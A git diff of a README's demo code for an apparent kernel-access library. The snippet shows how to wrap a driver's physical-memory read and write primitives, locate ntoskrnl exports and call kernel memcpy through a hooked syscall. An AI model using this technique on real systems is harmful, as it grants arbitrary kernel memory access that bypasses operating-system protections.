diff --git a/README.md b/README.md index 6cf00de..b7fd009 100644 --- a/README.md +++ b/README.md @@ -19,16 +19,31 @@ directly after the syscall returns. #### Demo Code ```cpp -vdm::vdm_ctx vdm; +// read physical memory using the driver... +vdm::read_phys_t _read_phys = + [&](void* addr, void* buffer, std::size_t size) -> bool +{ + return vdm::read_phys(addr, buffer, size); +}; + +// write physical memory using the driver... +vdm::write_phys_t _write_phys = + [&](void* addr, void* buffer, std::size_t size) -> bool +{ + return vdm::write_phys(addr, buffer, size); +}; + +vdm::vdm_ctx vdm(_read_phys, _write_phys); const auto ntoskrnl_base = -reinterpret_cast( - util::get_module_base("ntoskrnl.exe")); + reinterpret_cast( + util::get_kmodule_base("ntoskrnl.exe")); const auto ntoskrnl_memcpy = - util::get_kernel_export("ntoskrnl.exe", "memcpy"); + util::get_kmodule_export("ntoskrnl.exe", "memcpy"); std::printf("[+] drv_handle -> 0x%x, drv_key -> %s\n", drv_handle, drv_key.c_str()); std::printf("[+] %s physical address -> 0x%p\n", vdm::syscall_hook.first, vdm::syscall_address.load()); +std::printf("[+] %s page offset -> 0x%x\n", vdm::syscall_hook.first, vdm::nt_page_offset); std::printf("[+] ntoskrnl base address -> 0x%p\n", ntoskrnl_base); std::printf("[+] ntoskrnl memcpy address -> 0x%p\n", ntoskrnl_memcpy); @@ -39,6 +54,7 @@ vdm.syscall( ntoskrnl_base, sizeof mz_bytes ); + std::printf("[+] kernel MZ -> 0x%x\n", mz_bytes); ```